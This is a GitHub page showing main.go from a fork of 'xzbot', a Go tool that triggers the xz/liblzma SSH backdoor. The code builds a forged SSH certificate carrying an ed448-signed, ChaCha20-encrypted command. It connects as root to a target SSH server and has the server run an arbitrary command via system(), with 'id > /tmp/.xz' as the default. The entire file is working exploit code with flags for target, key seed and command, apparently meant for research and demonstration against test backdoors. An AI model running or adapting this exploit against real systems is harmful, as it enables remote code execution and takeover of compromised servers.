forked from amlweems/xzbot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
202 lines (177 loc) · 4.01 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
package main
import (
"bytes"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rsa"
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"io"
"log"
"math/big"
"net"
"github.com/cloudflare/circl/sign/ed448"
"golang.org/x/crypto/chacha20"
"golang.org/x/crypto/ssh"
)
var (
addr = flag.String("addr", "127.0.0.1:2222", "ssh server address")
seedn = flag.String("seed", "0", "ed448 seed, must match xz backdoor key")
cmd = flag.String("cmd", "id > /tmp/.xz", "command to run via system()")
)
type xzPublicKey struct {
buf []byte
}
func (k *xzPublicKey) Type() string {
return "ssh-rsa"
}
func (k *xzPublicKey) Marshal() []byte {
e := new(big.Int).SetInt64(int64(1))
wirekey := struct {
Name string
E *big.Int
N []byte
}{
ssh.KeyAlgoRSA,
e,
k.buf,
}
return ssh.Marshal(wirekey)
}
func (k *xzPublicKey) Verify(data []byte, sig *ssh.Signature) error {
return nil
}
type xzSigner struct {
signingKey ed448.PrivateKey
encryptionKey []byte
hostkey []byte
cert *ssh.Certificate
}
func (s *xzSigner) PublicKey() ssh.PublicKey {
if s.cert != nil {
return s.cert
}
var hdr bytes.Buffer
binary.Write(&hdr, binary.LittleEndian, uint32(2))
binary.Write(&hdr, binary.LittleEndian, uint32(1))
binary.Write(&hdr, binary.LittleEndian, uint64(0))
var payload bytes.Buffer
binary.Write(&payload, binary.LittleEndian, uint32(0))
binary.Write(&payload, binary.LittleEndian, uint8(0))
payload.Write([]byte(*cmd))
payload.Write([]byte{0})
var md bytes.Buffer
md.Write(hdr.Bytes()[:4])
md.Write(payload.Bytes()[:5])
md.Write(s.hostkey)
signature := ed448.Sign(s.signingKey, md.Bytes(), "")
var buf bytes.Buffer
buf.Write(signature)
buf.Write(payload.Bytes())
hdr.Write(decrypt(buf.Bytes(), s.encryptionKey[:32], hdr.Bytes()[:16]))
hdr.Write(bytes.Repeat([]byte{0}, 256-hdr.Len()))
n := big.NewInt(1)
n.Lsh(n, 2048)
pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: n, E: 0x10001})
fatalIfErr(err)
s.cert = &ssh.Certificate{
CertType: ssh.UserCert,
SignatureKey: &xzPublicKey{
buf: hdr.Bytes(),
},
Signature: &ssh.Signature{
Format: "ssh-rsa",
Blob: []byte("\x00"),
},
Key: pub,
}
fmt.Printf("%s", hex.Dump(s.cert.Marshal()))
return s.cert
}
func (s *xzSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) {
return nil, nil
}
func (s *xzSigner) HostKeyCallback(_ string, _ net.Addr, key ssh.PublicKey) error {
h := sha256.New()
cpk := key.(ssh.CryptoPublicKey).CryptoPublicKey()
switch pub := cpk.(type) {
case *rsa.PublicKey:
w := struct {
E *big.Int
N *big.Int
}{
big.NewInt(int64(pub.E)),
pub.N,
}
h.Write(ssh.Marshal(&w))
case *ecdsa.PublicKey:
keyBytes := elliptic.Marshal(pub.Curve, pub.X, pub.Y)
w := struct {
Key []byte
}{
[]byte(keyBytes),
}
h.Write(ssh.Marshal(&w))
case ed25519.PublicKey:
w := struct {
KeyBytes []byte
}{
[]byte(pub),
}
h.Write(ssh.Marshal(&w))
default:
log.Fatalf("unsupported hostkey alg: %s\n", key.Type())
return nil
}
msg := h.Sum(nil)
s.hostkey = msg[:32]
return nil
}
func decrypt(src, key, iv []byte) []byte {
dst := make([]byte, len(src))
c, err := chacha20.NewUnauthenticatedCipher(key, iv[4:16])
fatalIfErr(err)
c.SetCounter(binary.LittleEndian.Uint32(iv[:4]))
c.XORKeyStream(dst, src)
return dst
}
func fatalIfErr(err error) {
if err != nil {
log.Fatal(err)
}
}
func main() {
flag.Parse()
if len(*cmd) > 120 {
fmt.Printf("cmd too long, should not exceed 120 characters\n")
return
}
var seed [ed448.SeedSize]byte
sb, ok := new(big.Int).SetString(*seedn, 10)
if !ok {
fmt.Printf("invalid seed int\n")
return
}
sb.FillBytes(seed[:])
signingKey := ed448.NewKeyFromSeed(seed[:])
xz := &xzSigner{
signingKey: signingKey,
encryptionKey: signingKey[ed448.SeedSize:],
}
config := &ssh.ClientConfig{
User: "root",
Auth: []ssh.AuthMethod{
ssh.PublicKeys(xz),
},
HostKeyCallback: xz.HostKeyCallback,
}
client, err := ssh.Dial("tcp", *addr, config)
if err != nil {
fatalIfErr(err)
}
defer client.Close()
}